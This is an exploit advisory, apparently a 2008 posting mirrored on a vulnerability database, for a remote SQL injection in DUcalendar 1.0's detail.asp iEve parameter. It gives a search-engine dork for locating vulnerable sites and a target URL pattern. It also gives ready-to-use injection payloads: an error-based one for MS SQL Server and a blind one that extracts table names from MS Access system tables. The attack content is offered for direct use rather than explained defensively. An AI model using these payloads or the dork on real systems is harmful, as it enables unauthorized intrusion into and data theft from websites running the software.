DUcalendar 1.0 (detail.asp iEve) Remote SQL Injection Vulnerability

🗓️ 25 Jun 2008 00:00:00Reported by RootType

Remote SQL Injection in DUcalendar v 1.0 (detail.asp iEve


                                                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DUcalendar&nbsp;v&nbsp;1.0&nbsp;(detail.asp?iEve=)&nbsp;Remote&nbsp;SQL&nbsp;Inection&nbsp;Exploit


[+]&nbsp;Script&nbsp;:&nbsp;DUcalendar&nbsp;

[+]&nbsp;Version&nbsp;:&nbsp;1.0&nbsp;(Maybe&nbsp;others)&nbsp;

[+]&nbsp;Exploit&nbsp;:&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;

[+]&nbsp;Script&nbsp;URL&nbsp;:&nbsp;http://www.codedworld.com/download/ducalendar-/545.html&nbsp;

[+]&nbsp;Description&nbsp;:&nbsp;('Free&nbsp;Event&nbsp;Calendar&nbsp;written&nbsp;in&nbsp;ASP.&nbsp;Features&nbsp;include&nbsp;
unlimited&nbsp;entries,&nbsp;organized&nbsp;in&nbsp;category.&nbsp;Events&nbsp;displayed&nbsp;with&nbsp;full&nbsp;
description,&nbsp;date,&nbsp;location.&nbsp;Users&nbsp;can&nbsp;submit&nbsp;new&nbsp;events&nbsp;and&nbsp;search&nbsp;for&nbsp;
events.&nbsp;Complete&nbsp;Web-based&nbsp;Admin.&nbsp;Dreamweaver&nbsp;friendly.')&nbsp;

[+]&nbsp;Dork&nbsp;:&nbsp;intitle:&quot;DUcalendar&nbsp;1.0&quot;&nbsp;

--//--&gt;&nbsp;Exploit&nbsp;:&nbsp;

http://d0rk.co.il/calendar/detail.asp?iEve={SQL}&nbsp;

--__--&gt;&nbsp;For&nbsp;Ms&nbsp;SQL&nbsp;Server&nbsp;:&nbsp;convert(int,(select+@@version))--&nbsp;

--__--&gt;&nbsp;For&nbsp;Ms&nbsp;ACCESS&nbsp;(Blind-way)&nbsp;:&nbsp;IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Name%20from%20MSysObjects))='a',0,'done')%00&nbsp;


--//--&gt;&nbsp;Greetz&nbsp;:&nbsp;allah&nbsp;,&nbsp;Underz0ne&nbsp;Crew&nbsp;,&nbsp;and&nbsp;all&nbsp;my&nbsp;friends&nbsp;..&nbsp;

25 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1